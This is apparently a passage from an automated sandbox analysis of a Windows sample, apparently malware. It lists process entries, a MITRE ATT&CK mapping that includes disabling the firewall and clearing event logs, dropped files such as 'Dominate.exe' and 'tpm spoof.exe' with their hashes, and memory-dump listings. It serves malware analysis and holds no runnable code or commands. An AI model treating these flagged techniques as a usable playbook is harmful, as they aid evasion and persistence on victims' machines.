C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:740

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:1932

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:1936

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks processor information in registry
PID:3384

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DE8362C9001844731C7FA5BB57705BD

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DE8362C9001844731C7FA5BB57705BD
Size 246B
SHA256 05d0274e643e07a7c0319bd9d1a4073bf29da37c6770db9f2c417de404cb4139
MD5 a781a937dbb4c48ae9825a9b05331e02
SHA1 d0ecd4bd5ba7832250e2cbed56aea807ec09c582
SHA512 a7a0f8abe19b0fcde7361a2dddea1573da533aca6e10db9e3f4c6ff536bbebb6cf2b8f1afe399e28b05e307e4f7872d5080e6daf12e3eff94dde7cd7258661bd
TLSH
T123D0223A1305423BE029C23A4E607AD19DA87000E5A00B6C81BA090D5C36F6A2C63D0C
MD5 SHA1 SHA512 TLSH

Submit Download

103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
Size 192B
SHA256 fbdb9a6ffb196d35660f2f64d8163bc98fbf4fba3c46497130fd881350fbaff4
MD5 59bc4dfef44d2b07c7ca2f2994e0c04a
SHA1 cd72a817ae2e88eeeadf47680f24fd38b9b5e27a
SHA512 b71f66f7049f8350e1412058806c4440fb1cc584600cdd294986073d6730a9e801b2277a2156a4e7fb7a575e70d0bb79918b4031bba557aac088a2ed433fb3a9
TLSH
T1F6C02B0C0F9A0325F08803BB013099421E10E514F28BFF1F0FB12A5C066DF321810CEE
MD5 SHA1 SHA512 TLSH

Submit Download

57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Size 342B
SHA256 545b3f13f84859e6cb0e21caf179bdf730fc4053213fe7bfa2c61d0f2b9133fd
MD5 b216070c6b8d7b5cd4d3987af28b2583
SHA1 7c42197e852f37bc45a6c5e75a6e824e6144d725
SHA512 e89246ab6ea77382ca1b495d5170b3e148db32fa7f8c7e4eaca05db88ab6430bda6e65a9e15be8b57052d582e5efd3090e7da338b9a2439e1b66dce26e576948
TLSH
T128E0C211BEB80645E5770A7DA873A8489D3AB7376E61CACE5275808D0C34FD29873B19
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 e336a593bd31921c46757a88a99759f6a33854d0c8b854c0c8f118e5cede1ea1
MD5 aa0a32b11dca7b04f4cc5fe8c55cb357
SHA1 00e354fd0754a7d721a270cdc08f970b9a3f6605
SHA512 1db91d3540da2c7eb4e151d698f3a9c1d2caed3161c41f1c2c73781a65e9dfc818902f0220c0aa9fc2c617d4851f23f4a576c4e5fe0f40ec78e9ed01c8ad8b30
TLSH
T1F661DC323375B0D4895A7F07192C19C463BF8356EA94AF4CB658620ED92B44BDF222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d738b0832d04ca92b553800f33101fdb397adfa49f6fbb5be55cd644c7b99617
MD5 09e592e7115114453655fbd0ca663ffe
SHA1 d6dc7d7ffd89e49cfd2b4ee5be828df6a4bea6bd
SHA512 a7e0bb04cc0dff0bc7ffaf3c97b6d61e9b10e6c62b1865e88679fd96cca52579382afe8582e7e9e877f01edf11cdcb2fdfa0873c8c44a028c4f67bb7119e09b6
TLSH
T115218633B3ACC135C8D9117A108CAD01B2B1C3C7449ECE8B6B84C508A17F98ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

Dominate.exe

Path C:\Users\Admin\AppData\Local\Temp\Dominate.exe
Size 2.8MB
SHA256 ec6a02d7e012dd0288e6f07e12a555c1e6b80d4561a1342af22e491403fd68dc
MD5 a0390f4da5eedb277a4ced3639ec5ba8
SHA1 fc064dd68418f02d9ef1a727441a63171dec3b71
SHA512 21b5c18f59939df9cd183a3718276e5d0eb7eecd425ae9dba32cbe8d813174032ee995cecf423693bb8d900c33cd6e9ab755edac5d9ebd95307055e970f77983
SSDEEP 49152:Jh1WPGcCUABe3RnUR4O/y74GWLTWDx/Ho90Ervrn17HtJP:DA+mnUR4O/y74GWLTex/IPt7/P
TLSH
T110D5AD87EAA306DDD2A7D278A5622307F67235190734C7FF26D08E622B177C05A7B349
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_svza2hza.zjt.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_svza2hza.zjt.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

tpm spoof.exe

Path C:\Users\Admin\AppData\Local\Temp\tpm spoof.exe
Size 31KB
SHA256 2595ea3244b80ec866b5402a244b2389769935ea915d4363d00969bacad6e62b
MD5 8a16320af56bb97dffe5ccb340078906
SHA1 8d196ac26a218d8b7c945df76169f68e216f79bb
SHA512 78870bf91790ccd19df072d885c8783b0f4dffcc6f22b55c50d3b073d60b1f95cb39ff1730fc6a034dcaefd0b9ea70dadfe565d9431a7f898f23feb039a7ca20
SSDEEP 768:lIDS6sptfHCzxtOeoqTa3ElzvsxQmIDUu0tipuj:y9Aa/J0QVktj
TLSH
T1DBE22C6DFBE64466D2BD0AB50571950003B4E103E523F77E4ECA24A62B2F7D85B88DF2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vc5add5r.ttl.exe

Path C:\Users\Admin\AppData\Local\Temp\vc5add5r.ttl.exe
Size 161KB
SHA256 879cc20b41635709bb304e315aaa5ca4708b480a1bfc2f4935fcf2215188efb0
MD5 94f1ab3a068f83b32639579ec9c5d025
SHA1 38f3d5bc5de46feb8de093d11329766b8e2054ae
SHA512 44d5236a804d63302b21ca25ebc148a64605508d03c990a244c44ceb8630849da0510b7b2d0bee72e01ca6681e2d86d7e6aee8847674a26f0028d149b9abee0c
SSDEEP 3072:hLD8KbgVtn8Mo8G1gVziHzZbIK1YKB/pCAcNqXhwBV3yxSQig8xN:h/5bTgVziHzZnSKrCbYM
TLSH
T10BF33C07BAA500F7E976823585739E17B7B2F42503209BBF0B654A6E0FA37906D3DB50
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/404-297-0x000001B7D0D50000-0x000001B7D0D7B000-memory.dmp

Download

memory/404-43-0x000001B7D0D50000-0x000001B7D0D7B000-memory.dmp

Download

memory/404-46-0x000001B7D0D50000-0x000001B7D0D7B000-memory.dmp

Download

memory/404-44-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/416-36-0x0000027828460000-0x000002782848B000-memory.dmp

Download

memory/416-31-0x0000027828460000-0x000002782848B000-memory.dmp

Download

memory/416-32-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/416-172-0x0000027828460000-0x000002782848B000-memory.dmp

Download

memory/612-41-0x0000025DE0530000-0x0000025DE055B000-memory.dmp

Download

memory/612-39-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/612-291-0x0000025DE0530000-0x0000025DE055B000-memory.dmp

Download

memory/636-14-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/636-12-0x0000023774250000-0x0000023774275000-memory.dmp

Download

memory/636-20-0x0000023774280000-0x00000237742AB000-memory.dmp

Download

memory/636-13-0x0000023774280000-0x00000237742AB000-memory.dmp

Download

memory/684-21-0x0000025A0EE90000-0x0000025A0EEBB000-memory.dmp

Download

memory/684-18-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/684-17-0x0000025A0EE90000-0x0000025A0EEBB000-memory.dmp

Download

memory/772-34-0x000001E8AA880000-0x000001E8AA8AB000-memory.dmp

Download

memory/772-25-0x000001E8AA880000-0x000001E8AA8AB000-memory.dmp

Download

memory/772-26-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/904-28-0x000001FC9D5A0000-0x000001FC9D5CB000-memory.dmp

Download

memory/904-171-0x000001FC9D5A0000-0x000001FC9D5CB000-memory.dmp

Download

memory/904-35-0x000001FC9D5A0000-0x000001FC9D5CB000-memory.dmp

Download

memory/904-29-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/1100-50-0x000001A8E16F0000-0x000001A8E171B000-memory.dmp

Download

memory/1100-51-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/1100-333-0x000001A8E16F0000-0x000001A8E171B000-memory.dmp

Download

memory/1100-59-0x000001A8E16F0000-0x000001A8E171B000-memory.dmp

Download

memory/1108-334-0x0000028BF2F00000-0x0000028BF2F2B000-memory.dmp

Download

memory/1108-60-0x0000028BF2F00000-0x0000028BF2F2B000-memory.dmp

Download

memory/1108-54-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/1108-53-0x0000028BF2F00000-0x0000028BF2F2B000-memory.dmp

Download

memory/1116-61-0x000001F13C4D0000-0x000001F13C4FB000-memory.dmp

Download

memory/1116-56-0x000001F13C4D0000-0x000001F13C4FB000-memory.dmp

Download

memory/1116-335-0x000001F13C4D0000-0x000001F13C4FB000-memory.dmp

Download

memory/1116-57-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/1240-423-0x00000249CAEF0000-0x00000249CAF1B000-memory.dmp

Download

memory/1240-68-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/1240-67-0x00000249CAEF0000-0x00000249CAF1B000-memory.dmp

Download

memory/1240-82-0x00000249CAEF0000-0x00000249CAF1B000-memory.dmp

Download

memory/1256-424-0x000001891C8F0000-0x000001891C91B000-memory.dmp

Download

memory/1256-70-0x000001891C8F0000-0x000001891C91B000-memory.dmp

Download

memory/1256-83-0x000001891C8F0000-0x000001891C91B000-memory.dmp

Download

memory/1256-71-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/1296-425-0x0000020058DA0000-0x0000020058DCB000-memory.dmp

Download

memory/1296-74-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/1296-84-0x0000020058DA0000-0x0000020058DCB000-memory.dmp

Download

memory/1296-73-0x0000020058DA0000-0x0000020058DCB000-memory.dmp

Download

memory/1412-76-0x000001B5031A0000-0x000001B5031CB000-memory.dmp

Download

memory/1412-85-0x000001B5031A0000-0x000001B5031CB000-memory.dmp

Download

memory/1412-77-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/1412-426-0x000001B5031A0000-0x000001B5031CB000-memory.dmp

Download

memory/1420-142-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/1420-141-0x000001EB80520000-0x000001EB8054B000-memory.dmp

Download

memory/1424-86-0x0000014BCED50000-0x0000014BCED7B000-memory.dmp

Download

memory/1424-427-0x0000014BCED50000-0x0000014BCED7B000-memory.dmp

Download

memory/1424-79-0x0000014BCED50000-0x0000014BCED7B000-memory.dmp

Download

memory/1424-80-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/1504-430-0x000001C349310000-0x000001C34933B000-memory.dmp

Download

memory/1504-109-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/1504-173-0x000001C349310000-0x000001C34933B000-memory.dmp

Download

memory/1504-108-0x000001C349310000-0x000001C34933B000-memory.dmp

Download

memory/1548-112-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/1548-111-0x0000025166230000-0x000002516625B000-memory.dmp

Download

memory/1548-174-0x0000025166230000-0x000002516625B000-memory.dmp

Download

memory/1548-431-0x0000025166230000-0x000002516625B000-memory.dmp

Download

memory/1612-298-0x00000203AB7F0000-0x00000203AB800000-memory.dmp

Download

memory/1612-462-0x00000203AB7F0000-0x00000203AB800000-memory.dmp

Download

memory/1612-1-0x00000203AB7B0000-0x00000203AB7DC000-memory.dmp

Download

memory/1612-0-0x00000203AB210000-0x00000203AB39E000-memory.dmp

Download

memory/1612-356-0x00000203C5FD0000-0x00000203C5FDE000-memory.dmp

Download

memory/1612-295-0x00000203C5D50000-0x00000203C5EAC000-memory.dmp

Download

memory/1636-175-0x0000020370440000-0x000002037046B000-memory.dmp

Download

memory/1636-432-0x0000020370440000-0x000002037046B000-memory.dmp

Download

memory/1636-115-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/1636-114-0x0000020370440000-0x000002037046B000-memory.dmp

Download

memory/1644-176-0x00000247FDC90000-0x00000247FDCBB000-memory.dmp

Download

memory/1644-433-0x00000247FDC90000-0x00000247FDCBB000-memory.dmp

Download

memory/1644-118-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/1644-117-0x00000247FDC90000-0x00000247FDCBB000-memory.dmp

Download

memory/1784-120-0x000001E3A3DD0000-0x000001E3A3DFB000-memory.dmp

Download

memory/1784-121-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/1784-434-0x000001E3A3DD0000-0x000001E3A3DFB000-memory.dmp

Download

memory/1784-177-0x000001E3A3DD0000-0x000001E3A3DFB000-memory.dmp

Download

memory/1812-365-0x000001D39E180000-0x000001D39E1A2000-memory.dmp

Download

memory/1820-145-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/1820-144-0x0000020D239A0000-0x0000020D239CB000-memory.dmp

Download

memory/1824-123-0x000001D28CDD0000-0x000001D28CDFB000-memory.dmp

Download

memory/1824-124-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/1880-127-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/1880-126-0x0000020A66790000-0x0000020A667BB000-memory.dmp

Download

memory/1916-130-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/1916-129-0x0000029793150000-0x000002979317B000-memory.dmp

Download

memory/1964-133-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/1964-132-0x000001EDFE580000-0x000001EDFE5AB000-memory.dmp

Download

memory/1988-135-0x000001EBE1D00000-0x000001EBE1D2B000-memory.dmp

Download

memory/1988-136-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/1996-139-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/1996-138-0x0000025657550000-0x000002565757B000-memory.dmp

Download

memory/2216-147-0x0000000001190000-0x00000000011BB000-memory.dmp

Download

memory/2216-148-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/2332-151-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/2332-150-0x000001FA15D70000-0x000001FA15D9B000-memory.dmp

Download

memory/2536-153-0x0000014EC7DA0000-0x0000014EC7DCB000-memory.dmp

Download

memory/2536-154-0x00007FFB93110000-0x00007FFB93120000-memory.dmp

Download

memory/4140-11-0x00007FFBD1A90000-0x00007FFBD1B4D000-memory.dmp

Download

memory/4140-10-0x00007FFBD3080000-0x00007FFBD3289000-memory.dmp

Download